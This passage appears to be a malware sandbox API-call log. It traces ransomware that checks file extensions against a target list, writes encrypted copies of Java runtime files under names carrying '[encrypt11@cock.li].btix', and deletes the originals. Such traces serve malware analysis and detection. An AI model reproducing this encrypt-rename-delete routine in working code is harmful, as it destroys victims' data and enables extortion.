(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.216] lstrlenW (lpString=".doc") returned 4 [0155.216] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.216] lstrlenW (lpString=".docx") returned 5 [0155.216] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.216] lstrlenW (lpString=".pdf") returned 4 [0155.216] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.216] lstrlenW (lpString=".xls") returned 4 [0155.216] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".xlsx") returned 5 [0155.217] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.217] lstrlenW (lpString=".ppt") returned 4 [0155.217] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.217] lstrlenW (lpString=".zip") returned 4 [0155.217] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".rar") returned 4 [0155.217] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".bz2") returned 4 [0155.217] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".7z") returned 3 [0155.217] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.217] lstrlenW (lpString=".dbf") returned 4 [0155.217] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.217] lstrlenW (lpString=".1cd") returned 4 [0155.217] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.217] lstrlenW (lpString=".jpg") returned 4 [0155.217] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.217] lstrlenW (lpString=".doc") returned 4 [0155.217] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".docx") returned 5 [0155.217] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.217] lstrlenW (lpString=".pdf") returned 4 [0155.217] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".xls") returned 4 [0155.217] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.217] lstrlenW (lpString=".xlsx") returned 5 [0155.217] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.217] lstrlenW (lpString=".ppt") returned 4 [0155.218] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.218] lstrlenW (lpString=".zip") returned 4 [0155.218] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.218] lstrlenW (lpString=".rar") returned 4 [0155.218] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.218] lstrlenW (lpString=".bz2") returned 4 [0155.218] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.218] lstrlenW (lpString=".7z") returned 3 [0155.218] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.218] lstrlenW (lpString=".dbf") returned 4 [0155.218] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.218] lstrlenW (lpString=".1cd") returned 4 [0155.218] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.218] lstrlenW (lpString=".jpg") returned 4 [0155.218] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.219] lstrcmpiW (lpString1=".template", lpString2=".btix") returned 1 [0155.219] lstrlenW (lpString="snmp.acl.template") returned 17 [0155.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.219] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3376) returned 1 [0155.219] CloseHandle (hObject=0x374) returned 1 [0155.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0155.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.220] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.220] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.220] GetLastError () returned 0x0 [0155.220] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xd30, lpOverlapped=0x0) returned 1 [0155.221] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xd40, lpOverlapped=0x0) returned 1 [0155.221] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.221] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf6, lpOverlapped=0x0) returned 1 [0155.222] SetEndOfFile (hFile=0x378) returned 1 [0155.222] CloseHandle (hObject=0x378) returned 1 [0155.222] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.222] SetEndOfFile (hFile=0x374) returned 1 [0155.222] CloseHandle (hObject=0x374) returned 1 [0155.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.223] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0155.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.223] lstrlenW (lpString=".doc") returned 4 [0155.223] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0155.223] lstrlenW (lpString=".docx") returned 5 [0155.223] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0155.223] lstrlenW (lpString=".pdf") returned 4 [0155.223] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0155.223] lstrlenW (lpString=".xls") returned 4 [0155.223] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0155.223] lstrlenW (lpString=".xlsx") returned 5 [0155.223] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0155.223] lstrlenW (lpString=".ppt") returned 4 [0155.223] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0155.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.223] lstrlenW (lpString=".zip") returned 4 [0155.223] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0155.223] lstrlenW (lpString=".rar") returned 4 [0155.223] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0155.223] lstrlenW (lpString=".bz2") returned 4 [0155.224] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".7z") returned 3 [0155.224] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.224] lstrlenW (lpString=".dbf") returned 4 [0155.224] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.224] lstrlenW (lpString=".1cd") returned 4 [0155.224] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.224] lstrlenW (lpString=".jpg") returned 4 [0155.224] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.224] lstrlenW (lpString=".doc") returned 4 [0155.224] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".docx") returned 5 [0155.224] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0155.224] lstrlenW (lpString=".pdf") returned 4 [0155.224] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".xls") returned 4 [0155.224] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".xlsx") returned 5 [0155.224] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0155.224] lstrlenW (lpString=".ppt") returned 4 [0155.224] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.224] lstrlenW (lpString=".zip") returned 4 [0155.224] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".rar") returned 4 [0155.224] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".bz2") returned 4 [0155.224] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0155.224] lstrlenW (lpString=".7z") returned 3 [0155.225] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0155.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.225] lstrlenW (lpString=".dbf") returned 4 [0155.225] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0155.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.225] lstrlenW (lpString=".1cd") returned 4 [0155.225] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0155.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0155.225] lstrlenW (lpString=".jpg") returned 4 [0155.225] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0155.225] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0155.225] lstrlenW (lpString="management-agent.jar") returned 20 [0155.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.225] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=381) returned 1 [0155.225] CloseHandle (hObject=0x374) returned 1 [0155.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0155.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.226] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.226] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.226] GetLastError () returned 0x0 [0155.226] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x17d, lpOverlapped=0x0) returned 1 [0155.227] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x180, lpOverlapped=0x0) returned 1 [0155.227] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.227] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfc, lpOverlapped=0x0) returned 1 [0155.799] SetEndOfFile (hFile=0x378) returned 1 [0155.799] CloseHandle (hObject=0x378) returned 1 [0155.799] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.799] SetEndOfFile (hFile=0x374) returned 1 [0155.800] CloseHandle (hObject=0x374) returned 1 [0155.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.800] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0155.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.801] lstrlenW (lpString=".doc") returned 4 [0155.801] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.801] lstrlenW (lpString=".docx") returned 5 [0155.801] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0155.801] lstrlenW (lpString=".pdf") returned 4 [0155.801] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.801] lstrlenW (lpString=".xls") returned 4 [0155.801] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.801] lstrlenW (lpString=".xlsx") returned 5 [0155.801] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0155.801] lstrlenW (lpString=".ppt") returned 4 [0155.801] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.801] lstrlenW (lpString=".zip") returned 4 [0155.801] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.801] lstrlenW (lpString=".rar") returned 4 [0155.801] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.801] lstrlenW (lpString=".bz2") returned 4 [0155.801] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.801] lstrlenW (lpString=".7z") returned 3 [0155.801] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString=".dbf") returned 4 [0155.802] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString=".1cd") returned 4 [0155.802] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString=".jpg") returned 4 [0155.802] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString=".doc") returned 4 [0155.802] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.802] lstrlenW (lpString=".docx") returned 5 [0155.802] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0155.802] lstrlenW (lpString=".pdf") returned 4 [0155.802] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.802] lstrlenW (lpString=".xls") returned 4 [0155.802] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.802] lstrlenW (lpString=".xlsx") returned 5 [0155.802] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0155.802] lstrlenW (lpString=".ppt") returned 4 [0155.802] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString=".zip") returned 4 [0155.802] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.802] lstrlenW (lpString=".rar") returned 4 [0155.802] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.802] lstrlenW (lpString=".bz2") returned 4 [0155.802] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.802] lstrlenW (lpString=".7z") returned 3 [0155.802] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.802] lstrlenW (lpString=".dbf") returned 4 [0155.803] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.803] lstrlenW (lpString=".1cd") returned 4 [0155.803] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0155.803] lstrlenW (lpString=".jpg") returned 4 [0155.803] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.803] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".btix") returned -1 [0155.803] lstrlenW (lpString="blacklist") returned 9 [0155.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.803] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=4054) returned 1 [0155.803] CloseHandle (hObject=0x374) returned 1 [0155.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0155.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.814] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.814] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.814] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.814] GetLastError () returned 0x0 [0155.815] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xfd6, lpOverlapped=0x0) returned 1 [0155.815] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfe0, lpOverlapped=0x0) returned 1 [0155.816] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.816] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1 [0155.816] SetEndOfFile (hFile=0x378) returned 1 [0155.816] CloseHandle (hObject=0x378) returned 1 [0155.816] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.816] SetEndOfFile (hFile=0x374) returned 1 [0155.817] CloseHandle (hObject=0x374) returned 1 [0155.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.817] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0155.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.818] lstrlenW (lpString=".doc") returned 4 [0155.818] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0155.818] lstrlenW (lpString=".docx") returned 5 [0155.818] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0155.818] lstrlenW (lpString=".pdf") returned 4 [0155.818] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0155.818] lstrlenW (lpString=".xls") returned 4 [0155.818] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0155.818] lstrlenW (lpString=".xlsx") returned 5 [0155.818] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0155.818] lstrlenW (lpString=".ppt") returned 4 [0155.818] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0155.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.818] lstrlenW (lpString=".zip") returned 4 [0155.818] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0155.818] lstrlenW (lpString=".rar") returned 4 [0155.818] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0155.818] lstrlenW (lpString=".bz2") returned 4 [0155.818] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0155.818] lstrlenW (lpString=".7z") returned 3 [0155.818] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0155.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.818] lstrlenW (lpString=".dbf") returned 4 [0155.818] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString=".1cd") returned 4 [0155.819] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString=".jpg") returned 4 [0155.819] 